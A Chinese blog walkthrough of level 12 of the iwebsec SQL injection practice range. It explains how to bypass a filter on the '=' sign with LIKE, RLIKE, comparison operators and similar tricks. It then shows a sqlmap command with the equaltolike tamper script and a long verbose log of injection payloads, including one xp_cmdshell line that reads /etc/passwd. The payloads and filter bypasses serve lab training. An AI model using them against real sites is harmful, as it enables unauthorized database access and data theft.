iwebsec靶场 SQL注入漏洞通关笔记12-等价函数替换绕过

最新推荐文章于 2024-05-05 16:45:01 发布
最新推荐文章于 2024-05-05 16:45:01 发布
阅读量874 收藏 1
点赞数 1
分类专栏： iwebsec靶场 文章标签： sql sqlmap iwebsec sql注入 等号过滤
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/mooyuan/article/details/128045177
版权

系列文章目录

iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入（宽字节注入）_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记3- bool注入（布尔型盲注）_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入（时间型盲注）_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入（报错型盲注）_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记6- 宽字节注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记7- 空格过滤绕过_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记8- 大小写过滤注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记9- 双写关键字绕过_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记10- 双重url编码绕过_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记11-16进制编码绕过_mooyuan的博客-CSDN博客

目录

系列文章目录

前言

一、源码分析

二、等号过滤如何解

三、sqlmap注入

1.注入命令

2.完整交互

总结

前言

打开靶场，url为 http://192.168.71.151/sqli/12.php?id=1如下所示

一、源码分析

如下所示，SQL语句与前几关一样，调用的语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";很明显这是一个普通的数字型注入，并且对参数id做了等号=过滤。

 等号=过滤的相关源码如下所示

	if (preg_match('/=/', $_GET["id"])) {
		die("ERROR");
	}

二、等号过滤如何解

（1）like、rlike、regexp替换绕过

like：就是等于的意思，不加通配符的like执行的效果和=一致，所以可以用来绕过
rlike：就是里面含有这个
regexp：和rlike一样，里面含有即可

如select * from users where id =1;可以用select * from users where id like 1;来替换，即如下两个语句同义

select * from users where id = 1;
select * from users where id like 1;

 （2）大于小于号绕过

如id =2 可以用id > 1 and id < 3来替换

select * from users where id = 2;
select * from users where id > 1 and id < 3;

 <> 等价于 != 所以在前面再加一个!结果就是等号了

select * from users where id = 2;
select * from users where !(id <> 1);

（3）between\strcmp等函数替换绕过

等号绕过也可以使用strcmp(str1,str2)函数、between关键字

（4） %like% 通配符

%：替代一个或多个字符

三、sqlmap注入

1.注入命令

使用sqlmap的绕waf脚本equaltolike.py，将=使用like替换

sqlmap -u http://192.168.71.151/sqli/12.php?id=1  --current-db --dump --batch --tamper equaltolike.py

2.完整交互

这里为了将equaltolike.py的作用完整显示出来，附上-v 3的完整交互信息，如下所示

kali@kali:/usr/share/sqlmap/tamper$ sqlmap -u http://192.168.71.151/sqli/12.php?id=1  --current-db --dump --batch --tamper equaltolike.py -v 3
        ___
       __H__                                                                                                                                                                                                                               
 ___ ___[.]_____ ___ ___  {1.5.11#stable}                                                                                                                                                                                                  
|_ -| . [.]     | .'| . |                                                                                                                                                                                                                  
|___|_  [,]_|_|_|__,|  _|                                                                                                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:12:54 /2022-11-25/

[09:12:54] [DEBUG] cleaning up configuration parameters
[09:12:54] [INFO] loading tamper module 'equaltolike'
[09:12:54] [DEBUG] setting the HTTP timeout
[09:12:54] [DEBUG] setting the HTTP User-Agent header
[09:12:54] [DEBUG] creating HTTP requests opener object
[09:12:54] [INFO] testing connection to the target URL
[09:12:54] [DEBUG] declared web page charset 'utf-8'
[09:12:55] [INFO] checking if the target is protected by some kind of WAF/IPS
[09:12:55] [PAYLOAD] 8768 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#
[09:12:55] [INFO] testing if the target URL content is stable
[09:12:55] [INFO] target URL content is stable
[09:12:55] [INFO] testing if GET parameter 'id' is dynamic
[09:12:55] [PAYLOAD] 8882
[09:12:55] [WARNING] GET parameter 'id' does not appear to be dynamic
[09:12:55] [PAYLOAD] 1((.'.("()(
[09:12:55] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[09:12:55] [PAYLOAD] 1'FWtgtm<'">vpDcDk
[09:12:55] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[09:12:55] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[09:12:55] [DEBUG] used the default behavior, running in batch mode
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[09:12:55] [DEBUG] used the default behavior, running in batch mode
[09:12:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:12:55] [PAYLOAD] 1
[09:12:55] [PAYLOAD] 1) AND 3822 LIKE 4588 AND (7774 LIKE 7774
[09:12:55] [WARNING] reflective value(s) found and filtering out
[09:12:55] [PAYLOAD] 1) AND 5230 LIKE 5230 AND (5756 LIKE 5756
[09:12:55] [PAYLOAD] 1 AND 2136 LIKE 4399
[09:12:55] [PAYLOAD] 1 AND 5230 LIKE 5230
[09:12:55] [PAYLOAD] 1 AND 4840 LIKE 9205
[09:12:55] [PAYLOAD] 1 AND 8078 LIKE 6290-- eroG
[09:12:55] [PAYLOAD] 1 AND 5230 LIKE 5230-- UAvw
[09:12:55] [PAYLOAD] 1 AND 8228 LIKE 8711-- pygw
[09:12:55] [PAYLOAD] 1') AND 4201 LIKE 9250 AND ('Jzes' LIKE 'Jzes
[09:12:55] [PAYLOAD] 1') AND 5230 LIKE 5230 AND ('OMXc' LIKE 'OMXc
[09:12:55] [PAYLOAD] 1' AND 9717 LIKE 9200 AND 'sRxI' LIKE 'sRxI
[09:12:55] [PAYLOAD] 1' AND 5230 LIKE 5230 AND 'edhr' LIKE 'edhr
[09:12:55] [DEBUG] skipping test 'OR boolean-based blind - WHERE or HAVING clause' because the risk (3) is higher than the provided (1)
[09:12:55] [DEBUG] skipping test 'OR boolean-based blind - WHERE or HAVING clause (NOT)' because the risk (3) is higher than the provided (1)
[09:12:55] [DEBUG] skipping test 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' because the level (2) is higher than the provided (1)
[09:12:55] [DEBUG] skipping test 'OR boolean-based blind - WHERE or HAVING clause (subquery - comment)' because the risk (3) is higher than the provided (1)
[09:12:55] [DEBUG] skipping test 'AND boolean-based blind - WHERE or HAVING clause (comment)' because the level (2) is higher than the provided (1)
[09:12:55] [DEBUG] skipping test 'OR boolean-based blind - WHERE or HAVING clause (comment)' because the risk (3) is higher than the provided (1)
[09:12:55] [DEBUG] skipping test 'OR boolean-based blind - WHERE or HAVING clause (NOT - comment)' because the risk (3) is higher than the provided (1)
[09:12:55] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[09:12:55] [PAYLOAD] (SELECT (CASE WHEN (8810 LIKE 4602) THEN 1 ELSE (SELECT 4602 UNION SELECT 1328) END))
[09:12:55] [DEBUG] setting match ratio for current parameter to 0.971
[09:12:55] [PAYLOAD] (SELECT (CASE WHEN (9771 LIKE 9771) THEN 1 ELSE (SELECT 2364 UNION SELECT 5247) END))
[09:12:55] [PAYLOAD] (SELECT (CASE WHEN (9692 LIKE 3505) THEN 1 ELSE (SELECT 3505 UNION SELECT 2047) END))
[09:12:55] [INFO] GET parameter 'id' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --string="age")
[09:12:55] [DEBUG] skipping test 'Boolean-based blind - Parameter replace (DUAL)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'Boolean-based blind - Parameter replace (DUAL - original value)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'Boolean-based blind - Parameter replace (CASE)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'Boolean-based blind - Parameter replace (CASE - original value)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'HAVING boolean-based blind - WHERE, GROUP BY clause' because the payload for boolean-based blind has already been identified
[09:12:55] [INFO] testing 'Generic inline queries'
[09:12:55] [PAYLOAD] (SELECT CONCAT(CONCAT(0x7176787171,(CASE WHEN (7110 LIKE 7110) THEN 0x31 ELSE 0x30 END)),0x7176767171))
[09:12:55] [DEBUG] skipping test 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'MySQL boolean-based blind - Parameter replace (MAKE_SET)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'MySQL boolean-based blind - Parameter replace (ELT)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'MySQL boolean-based blind - Parameter replace (ELT - original value)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'MySQL boolean-based blind - Parameter replace (bool*int)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'MySQL boolean-based blind - Parameter replace (bool*int - original value)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'MySQL >= 5.0 boolean-based blind - Stacked queries' because the payload for boolean-based blind has already been identified
[09:12:55] [DEBUG] skipping test 'MySQL < 5.0 boolean-based blind - Stacked queries' because the payload for boolean-based blind has already been identified
[09:12:55] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[09:12:55] [PAYLOAD] 1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7176787171,(SELECT (ELT(2376 LIKE 2376,1))),0x7176767171,0x78))s), 8446744073709551610, 8446744073709551610)))
[09:12:55] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[09:12:55] [PAYLOAD] 1 OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7176787171,(SELECT (ELT(3665 LIKE 3665,1))),0x7176767171,0x78))s), 8446744073709551610, 8446744073709551610)))
[09:12:55] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[09:12:55] [PAYLOAD] 1 AND EXP(~(SELECT * FROM (SELECT CONCAT(0x7176787171,(SELECT (ELT(6354 LIKE 6354,1))),0x7176767171,0x78))x))
[09:12:55] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[09:12:55] [PAYLOAD] 1 OR EXP(~(SELECT * FROM (SELECT CONCAT(0x7176787171,(SELECT (ELT(6771 LIKE 6771,1))),0x7176767171,0x78))x))
[09:12:55] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[09:12:55] [PAYLOAD] 1 AND GTID_SUBSET(CONCAT(0x7176787171,(SELECT (ELT(3934 LIKE 3934,1))),0x7176767171),3934)
[09:12:55] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[09:12:55] [PAYLOAD] 1 OR GTID_SUBSET(CONCAT(0x7176787171,(SELECT (ELT(5781 LIKE 5781,1))),0x7176767171),5781)
[09:12:55] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[09:12:55] [PAYLOAD] 1 AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x7176787171,(SELECT (ELT(1448 LIKE 1448,1))),0x7176767171)) USING utf8)))
[09:12:56] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[09:12:56] [PAYLOAD] 1 OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x7176787171,(SELECT (ELT(2021 LIKE 2021,1))),0x7176767171)) USING utf8)))
[09:12:56] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[09:12:56] [PAYLOAD] 1 AND (SELECT 4063 FROM(SELECT COUNT(*),CONCAT(0x7176787171,(SELECT (ELT(4063 LIKE 4063,1))),0x7176767171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[09:12:56] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.5 error-based - Parameter replace (EXP)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML)' because the payload for error-based has already been identified
[09:12:56] [DEBUG] skipping test 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)' because the payload for error-based has already been identified
[09:12:56] [INFO] testing 'MySQL inline queries'
[09:12:56] [PAYLOAD] (SELECT CONCAT(0x7176787171,(ELT(5323 LIKE 5323,1)),0x7176767171))
[09:12:56] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[09:12:56] [PAYLOAD] > LIKE 5.0
[09:12:56] [PAYLOAD] 1;SELECT SLEEP(5)#
[09:12:56] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[09:12:56] [PAYLOAD] 1;SELECT SLEEP(5)
[09:12:56] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[09:12:56] [PAYLOAD] 1;(SELECT * FROM (SELECT(SLEEP(5)))EhJs)#
[09:12:56] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[09:12:56] [PAYLOAD] 1;(SELECT * FROM (SELECT(SLEEP(5)))nErv)
[09:12:56] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[09:12:56] [PAYLOAD] 1;SELECT BENCHMARK(5000000,MD5(0x4d584155))#
[09:12:56] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[09:12:56] [PAYLOAD] 1;SELECT BENCHMARK(5000000,MD5(0x46774b7a))
[09:12:56] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[09:12:56] [PAYLOAD] 1 AND (SELECT 6421 FROM (SELECT(SLEEP(5)))KXRK)
[09:13:01] [PAYLOAD] 1 AND (SELECT 6421 FROM (SELECT(SLEEP(0)))KXRK)
[09:13:01] [PAYLOAD] 1 AND (SELECT 6421 FROM (SELECT(SLEEP(5)))KXRK)
[09:13:06] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[09:13:06] [DEBUG] skipping test 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL >= 5.0.12 AND time-based blind (SLEEP)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL >= 5.0.12 OR time-based blind (SLEEP)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL >= 5.0.12 AND time-based blind (SLEEP - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL < 5.0.12 AND time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL < 5.0.12 OR time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL < 5.0.12 AND time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL < 5.0.12 OR time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL >= 5.0.12 RLIKE time-based blind' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL >= 5.0.12 RLIKE time-based blind (comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL AND time-based blind (ELT)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL OR time-based blind (ELT)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL AND time-based blind (ELT - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL OR time-based blind (ELT - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL >= 5.0.12 time-based blind - Parameter replace' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL < 5.0.12 time-based blind - Parameter replace (heavy queries)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL time-based blind - Parameter replace (bool)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL time-based blind - Parameter replace (ELT)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL time-based blind - Parameter replace (MAKE_SET)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL >= 5.0.12 time-based blind - ORDER BY, GROUP BY clause' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL < 5.0.12 time-based blind - ORDER BY, GROUP BY clause (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'AND boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'OR boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL OR boolean-based blind - WHERE or HAVING clause (CAST)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle OR boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL boolean-based blind - Parameter replace' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL boolean-based blind - Parameter replace (original value)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES - original value)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle boolean-based blind - Parameter replace' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle boolean-based blind - Parameter replace (original value)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Informix boolean-based blind - Parameter replace' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Informix boolean-based blind - Parameter replace (original value)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft Access boolean-based blind - Parameter replace' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft Access boolean-based blind - Parameter replace (original value)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL boolean-based blind - ORDER BY clause (original value)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL boolean-based blind - ORDER BY clause (GENERATE_SERIES)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause (original value)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle boolean-based blind - ORDER BY, GROUP BY clause' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle boolean-based blind - ORDER BY, GROUP BY clause (original value)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause (original value)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause (original value)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'IBM DB2 boolean-based blind - ORDER BY clause' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'IBM DB2 boolean-based blind - ORDER BY clause (original value)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL boolean-based blind - Stacked queries' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL boolean-based blind - Stacked queries (GENERATE_SERIES)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase boolean-based blind - Stacked queries' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle boolean-based blind - Stacked queries' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft Access boolean-based blind - Stacked queries' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'SAP MaxDB boolean-based blind - Stacked queries' because the payload for boolean-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL AND error-based - WHERE or HAVING clause' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL OR error-based - WHERE or HAVING clause' because the payload for error-based has already been identified
